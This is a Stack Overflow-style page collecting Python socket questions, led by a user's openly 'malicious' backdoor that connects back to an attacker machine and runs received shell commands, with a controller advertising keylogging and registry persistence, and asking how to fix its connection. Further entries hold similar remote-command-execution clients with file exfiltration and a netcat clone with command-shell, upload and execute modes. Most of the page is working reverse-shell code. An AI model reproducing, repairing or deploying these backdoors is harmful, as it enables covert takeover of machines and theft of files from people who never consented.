cant establish connection with port using python app - python

I made a back door using pythonpicture of error message, and compiled it to an application (.exe) file on windows, using pyinstaller command,
the process works by using 2 files; 1 is malicious which stays on the target machine and the other one opens a shell on the attacker machine,, to gain control of the infected machine.
but while testing the malicious application on my windows environment ("it's my own machine so I have permission to test on it ") I saw that I was facing " win error 10060"
as far as I understand by the windows error message; it is saying it can't communicate with the attacker machine
(check the image and code to get a better idea of the problem .)
what can I do to avoid this ?
malicious_file.py
import socket
import json
import subprocess
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data =''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
# elif command == 'clear':
# pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 5548))
shell()
shell_opener_server.py
import socket
import termcolor
import json
def reliable_recv():
data =''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def target_ccommunication():
while True:
command = input('* Shell-%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit Session with the target
clear --> Clean the screen
cd *Dir name* --> Changes directory on target system
upload *file name* --> upload file to target machine
download *file name* --> Download file from target machine
keylog_start --> Start the keylogger
keylog_dump --> Print keystrokes that the target inputted
keylog_stop --> stop and self-destruct keylogger file
persistence *Regname* *file name* --> Creat persistance in registry'''), "green")
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('10.0.2.15', 5555))
print(termcolor.colored('[+] Listening For The Incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target Connected FROM : ' + str(ip), 'green'))
target_ccommunication()p

Related

Python Socket file transfer without closing sockets [duplicate]

This question already has answers here:
sending multiple files in python
(1 answer)
download multiple subsequent files from one server with one TCP handshake
(1 answer)
Sending multiple images with socket
(1 answer)
Sending multiple files through a TCP socket
(2 answers)
Closed last year.
I've been trying to transfer large files through python sockets, I can do it but it only works well if I close the connection, I want to keep the connection open and keep transfering files after that
Server:
import socket
import sys
from tqdm import tqdm
IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(ADDR)
server.listen()
print("[+] Listening...")
conn, addr = server.accept()
print(f"[+] Client connected from {addr[0]}:{addr[1]}")
#last try:
def receiver():
file_name = conn.recv(1024).decode()
file_size = conn.recv(1024).decode()
with open(file_name, "wb") as file:
c = 0
while c <= int(file_size):
data = conn.recv(1024)
if not (data):
break
file.write(data)
c += len(data)
def execute_rem(command):
conn.send(command.encode(FORMAT))
if command[0] == "exit":
conn.close()
server.close()
exit()
def run():
while True:
command = input(">> ")
if len(command) != 0:
conn.send(command.encode(FORMAT))
command = command.split(" ")
if command[0] == "download" and len(command) == 2:
receiver()
else:
result = conn.recv(SIZE)
if result == "1":
continue
else:
print(str(result, FORMAT))
run()
client:
import os
import sys
import socket
import time
import subprocess
from tqdm import tqdm
IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"
WAITTIME = 10
client = 0
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(ADDR)
break
except socket.error:
time.sleep(WAITTIME)
def exec_comnd(command):
cmd = subprocess.Popen(command,shell = True, stderr = subprocess.PIPE, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
byte = cmd.stdout.read()+cmd.stderr.read()
if len(byte) == 0:
byte = "1"
return byte
def f_send(file_name):
file_size = os.path.getsize(file_name)
client.send(file_name.encode())
client.send(str(file_size).encode())
with open(file_name, "rb") as file:
c = 0
while c <= file_size:
data = file.read(1024)
if not (data):
break
client.sendall(data)
c += len(data)
def run():
while True:
command = client.recv(SIZE).decode(FORMAT)
command = command.split(" ")
if command[0] == "exit":
client.close()
exit()
elif command[0] == "cd" and len(command) == 2:
path = command[1]
os.chdir(path)
client.send(("Cambio a directorio " + path).encode(FORMAT))
elif command[0] == "download" and len(command) == 2:
f_send(command[1])
else:
res_comnd = exec_comnd(command)
client.send(res_comnd)
run()
This is my last attempt but I have tried different ways. The file gets sent but the server gets stuck until I ctl+c, after that, based on the output, server gets stuck on "data = conn.recv(1024))" (terminal output stops at "download test.jpg") and client gets stuck on "client.send(res_comnd)". I don't see why, is the only way closing the socket after the file transfer?
server output:
[+] Listening... [+] Client connected from
IP:PORT
>> download test.jpg
^CTraceback (most recent call last): File "/home/xxxx/project/nuev/server.py", line 94, in <module>
run() File "/home/xxxx/project/nuev/server.py", line 84, in run
receiver() File "/home/xxxx/project/nuev/server.py", line 36, in receiver
data = conn.recv(1024) KeyboardInterrupt
client output:
Traceback (most recent call last): File "C:\Users\xxxx\Desktop\client.py", line 108, in <module>
run() File "C:\Users\xxxx\Desktop\client.py", line 105, in run
client.send(res_comnd) ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine

Python Sockets: Send data, then receive response and finally send confirmation

I'm not sure if this is allowed, but I would like to have the client send a notification, receive a response and then finally send back a final validation message. The first send and receive seems to work fine, but the final .sendall() doesn't seem to send to the server.
Client:
import threading
import time
import socket
import sys
alarm_on = False # Flag to stop the thread
# The thread function
def beep():
while alarm_on:
print("BEEP BEEP BEEP")
time.sleep(20)
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create Movement Socket")
mysock.connect(('1.1.1.1',1234))
try:
mysock.sendall(b'MOVEMENT')
except socket.error:
print("Failed to send")
sys.exit()
#Recieve command to turn ignore, turn on alarm, or turn off alarm
try:
command = mysock.recv(10000)
print(command)
except socket.error:
print("Error receiving data")
sys.exit()
print("Command is: " + str(command))
#Turn on command
if command == b'ON':
state = command
alarm_on = True
# Start the thread
thrd1 = threading.Thread(target=beep).start()
mysock.sendall(state) # ********Final Validation to server of state
#Ignore the movement for 30 min
elif command == b'NO':
state = b'Silent for 15 min'
print(state)
mysock.sendall(state) # ********Final Validation to server of state
time.sleep(900)
Server
import socket
import sys
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create socket")
sys.exit
try:
mysock.bind(("",1234))
except:
print("Failed to bind")
mysock.listen(5)
while True:
validation = False
conn,addr = mysock.accept()
data = conn.recv(1000)
print("Data recieved: " + str(data))
if data == b'MOVEMENT':
while not validation:
command = input("Movement detected, type ON enable Alarm or NO to ignore: ")
command = command.upper()
if command == "ON" :
message = command
validation = True
elif command == "NO":
message = command
validation = True
else:
print("Data is: " + str(data) + "is not a valid input")
sys.exit()
try:
conn.sendall(bytes(message.encode()))
except:
print("Failed to send")
sys.exit()
conn.close()
mysock.close()
Can you do a final send after an initial send and receive? If so, why isn't my last sendall working?
In order to receive the second message, a second .recv() needs to be established to catch the "validation message". I added the following line to the server code:
validation = conn.recv(1000)
print(validation)
The full server code:
import socket
import sys
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create socket")
sys.exit
try:
mysock.bind(("",1234))
except:
print("Failed to bind")
mysock.listen(5)
while True:
validation = False
conn,addr = mysock.accept()
data = conn.recv(1000)
print("Data recieved: " + str(data))
if data == b'MOVEMENT':
while not validation:
command = input("Movement detected, type ON enable Alarm or NO to ignore: ")
command = command.upper()
if command == "ON" :
message = command
validation = True
elif command == "NO":
message = command
validation = True
else:
print("Data is: " + str(data) + "is not a valid input")
sys.exit()
try:
conn.sendall(bytes(message.encode()))
except:
print("Failed to send")
sys.exit()
validation = conn.recv(1000)
print(validation)
conn.close()
mysock.close()

Tcp sockets to send and receive files, using python

I am trying to make simple client server program to send and receive file form server using tcp sockets. As far as getting files from server is not an issue, server creates a file with the same name and put data in that file but when it comes to putting files to server,sometimes it works great but always chance so mostly server is getting file name along with file contents and instead of writing that to file, it writes both filename and contents as new file name and that file remains empty. Will be great help if someone can suggest any solution.
server.py
import socket
import sys
HOST = 'localhost'
PORT = 3820
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen(1)
while (1):
conn, addr = socket.accept()
print 'New client connected ..'
reqCommand = conn.recv(1024)
print 'Client> %s' %(reqCommand)
if (reqCommand == 'quit'):
break
#elif (reqCommand == lls):
#list file in server directory
else:
string = reqCommand.split(' ', 1) #in case of 'put' and 'get' method
reqFile = string[1]
if (string[0] == 'put'):
with open(reqFile, 'wb') as file_to_write:
data=conn.recv(1024)
while True:
if not data:
break
else:
file_to_write.write(data)
data=conn.recv(1024)
file_to_write.close()
break
print 'Receive Successful'
elif (string[0] == 'get'):
with open(reqFile, 'rb') as file_to_send:
for data in file_to_send:
conn.sendall(data)
print 'Send Successful'
conn.close()
socket.close()
client.py
import socket
import sys
HOST = 'localhost' # server name goes in here
PORT = 3820
def put(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open('clientfolder/'+inputFile, 'rb') as file_to_send:
data=file_to_send.read(1024)
while(data):
socket1.send(data)
data=file_to_send.read(1024)
file_to_send.close()
print 'PUT Successful'
socket1.close()
return
def get(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open('clientfolder/'+inputFile, 'wb') as file_to_write:
while True:
data = socket1.recv(1024)
# print data
if not data:
break
# print data
file_to_write.write(data)
file_to_write.close()
print 'GET Successful'
socket1.close()
return
msg = raw_input('Enter your name: ')
while(1):
print 'Instruction'
print '"put [filename]" to send the file the server '
print '"get [filename]" to download the file from the server '
print '"ls" to list all files in this directory'
print '"lls" to list all files in the server'
print '"quit" to exit'
sys.stdout.write('%s> ' % msg)
inputCommand = sys.stdin.readline().strip()
if (inputCommand == 'quit'):
socket.send('quit')
break
# elif (inputCommand == 'ls')
# elif (inputCommand == 'lls')
else:
string = inputCommand.split(' ', 1)
if (string[0] == 'put'):
put(inputCommand)
elif (string[0] == 'get'):
get(inputCommand)
#current working directory is server location
#get will get file from current directory to clientfolder directory.
TCP is a streaming protocol, so you have to design message breaks into your protocol. For example:
s.send('put filename')
s.send('data')
Can be received as:
s.recv(1024)
# 'put filenamedata'
So buffer data received and only extract full messages. One way is to send the size of a message before the message.

Python Server Client Remote command execution : error while executing more than 2 commands

Server Code:
#!/usr/bin/python
import socket
import threading
import sys
import os
import time
bind_ip = raw_input("\nset lhost : ")
print "lhost set %s" % bind_ip
bind_port =int(raw_input("\nset lport : "))
print "lport set %s" % bind_port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
time.sleep(0.8)
print "\n[*]Listening on %s:%d" % (bind_ip, bind_port)
client, addr = server.accept()
time.sleep(0.8)
print "[*] Binding connection on %s:%d" % (bind_ip, bind_port)
time.sleep(0.8)
print "[*] Accepted connection from %s:%d" % (bind_ip, bind_port)
time.sleep(0.5)
print "[*] Spwaning command shell"
time.sleep(0.5)
print "[*] Spwaned!!"
while True:
try:
print "\ncommand$control:~$"
# take commands
# command = raw_input("\ncommand$control:~ ")
command = sys.stdin.readline()
# if command == exit then exit
if command == "exit\n":
print "[!] Exiting..!"
client.send(command)
client.close()
os._exit(1)
else: # send 1st command
client.send(command)
recvd = None
# if recvd == # break loop and ask next command
while recvd != "#":
recvd = None
recvd = client.recv(4096)
if recvd == "#":
break
elif len(recvd):
recvd = recvd.replace('\r', '').replace('\n', '')
#recvd = recvd.rstrip('\t')
print recvd
except Exception, e:
print "Error: %s" % str(e)
os._exit(1)
Client Code:
#!/usr/bin/python
import socket
import threading
import subprocess
import sys
import os
target_host = raw_input("set target host: ")
target_port = int(raw_input("set target port: "))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
def run_command(command):
output = ''
command = command.rstrip()
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, s**strong text**tderr=subprocess.STDOUT)
for line in iter(output.stdout.readline, ''):
line = line.replace('\n', '').replace('\r', '').replace('\t', '')
print line
client.send(line)
sys.stdout.flush()
while True:
try:
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer+=client.recv(1024)
if cmd_buffer == "exit\n":
client.close()
os._exit()
run_command(cmd_buffer)
# After run_command for loop ends, # is send to break
# from the server's while loop
client.send("#")
except Exception:
client.close()
os._exit(0)
The code works,the client sends '#' to server to indicate that is has finished sending realtime command output, so the server on receiving '#' breaks from the loop,and ask for next command. But after entering 2/3 commands the # is printed on servers stdout which should'nt and it doesn't break from loop. Also the output from client isn't received as i have formatted it using replace(). Please help.it will be appreciated.

Python Netcat Code, module main()

working on a netcat like program built in python (working through python programming book), I have all of the code written im just getting the following error when running "./netcat-page13.py -l -p 9999 -c"
Traceback (most recent call last):
File "./netcat-page13.py", line 216, in <module>
main()
File "./netcat-page13.py", line 68, in main
assert False,"Unhandled Option"
AssertionError: Unhandled Option
Code :
#!/usr/bin/python
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command -initialize a command shell"
print "-u --upload=destination -Upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("e", "--execute"):
execute = a
elif o in ("c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
#read in the buffer from the commandline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
#send data off
client_sender(buffer)
#we are going to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer += "\n"
#send it off
client.send(buffer)
except:
print "[*] Exception! Exiting"
#tear down the connection
client.close()
def server_loop():
global target
#if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler, args=(client_Socket,))
client_thread.start()
def run_command(command):
#trim the newline
command = command.rstrip()
#run the command get the output back
try:
output = subprocess.check_ouput(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the Client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer = ""
#keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
#check for command execution
if len(execute):
#run the command
output = run_command(execute)
client_socket.send(output)
#now we go into another loop if a command shell was requested
if command:
while True:
#show a simple prompt
client_socket.send("<BHP:#> ")
#now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
#send back the command output
response = run_command(cmd_buffer)
#send back the response
client_socket.send(response)
main()
That error is being thrown by your own code, in the loop in main starting:
for o,a in opts:
Your tests for options -e, -c and -p are missing the leading hyphen.

Categories